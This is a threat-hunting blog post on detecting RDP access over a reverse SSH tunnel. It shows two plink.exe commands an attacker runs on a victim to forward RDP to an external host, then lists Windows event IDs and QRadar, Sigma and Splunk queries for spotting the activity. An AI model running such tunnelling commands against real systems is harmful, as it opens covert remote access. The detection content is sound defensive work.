Threat Hunting #24 - RDP over a Reverse SSH Tunnel

Establishing an RDP connection over a reverse SSH tunnel using plink.exe and FreeSSHd or equivalent utilities provides the attacker a convenient pseudo VPN access method, via which they can use a mouse and a keyboard to discover and access more systems with less noise and minimum footprint.

Differentiating between a legit and suspicious RDP activity requires serious RDP baselining especially on large and interconnected networks where multiple parties (vendors, IT Help Desk, Network and System Team etc.)  use the same protocol, for legit purposes and in a dynamic way.

In this post we will be covering some artifacts left by this technique that a threat hunter can use to detect this simple yet effective "interactive command and control" procedure.

N.B: 

• we won't be covering all type of indicators, FireEye did already a great write-up highlighting different type of indicators including network signatures and some forensics related artifacts (registry, TerminalServices-LocalSessionManager logs etc). 
• For details regarding how to perform RDP Tunneling with FreeSsh and Plink see this nice write up by NetSpi.

Setup:

PC01|10.0.2.17 (External Attacker System) <--- SSH (RDP - Account: PC02\IEUser) ---> PC02|10.0.2.18 (VICTIM System)

Ok, let's start!

On the Victim Machine (PC02), the attacker will execute the following command:

plink.exe 10.0.2.17 -P 80 -C -R 127.0.0.1:12345::3389 -l test -pw test

Now the attacker can open his preferred RDP client (i.e. mstsc, xfreerdp) and connect to the loopback address on port 12345, he will be prompted for a username and password (in our case he will be using  PC02\IEUser).

This will result in the following main indicators:

1.1 EventID 4624 with Logon Type =10 AND  Source IP address = loopback address  and also Source Workstation Name equal to the Account Domain|Subject-Account Name ( both indicators are very abnormal)

1.2. EventID 1149 (TerminalService-RemoteConnectionManger) with confirming the same indicators in 1.1:

Until now we are good, but what if the attacker type the local IP address of PC02 (Victim PC) instead of omitting this field:

plink.exe 10.0.2.17 -P 80 -C -R 127.0.0.1:12345:10.0.2.18:3389 -l test -pw test

This small command change will completely null-out the 2 first indicators:

Mmmmm... Ok what to do now?

Don't worry EventID 5156 got your back! (very useful for other use cases, we will be discussing in future posts) 

As you can see, all the loopback communications with port 3389 are recorded, which is valid for other port forwarding and/or RDP tunneling utilities.

Another small detail we've observed is that failed logins 4625 are not logged when initiated via the SSH Tunnel:

Hunting with IBM Qradar AQL - Examples:

A) select sourceip, sourceport, destinationip, destinationport from events where eventid=5156 and (sourceport=3389 or destinationport=3389) and (INCIDR('127.0.0.0/8',sourceip) OR INCIDR('127.0.0.0/8',destinationip))

B) select username, sourceip, "Source Workstation" from events where eventid=4624 and "LogonType"=10 and (INCIDR('127.0.0.0/8',sourceip) OR INCIDR('::1/128',sourceip)) 

Hunting with SIGMA for the same behavior and using sysmon eventid 3 (Network Connect):

You can convert this rule into Splunk or other supported SIEM/Log Management solution hunting queries here, see the following Splunk query example:

(EventID="3" Image="*\\svchost.exe" SourcePort="3389" (DestinationIp="127.*" OR DestinationIp="::1"))


References:

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/
https://github.com/Neo23x0/sigma
https://uncoder.io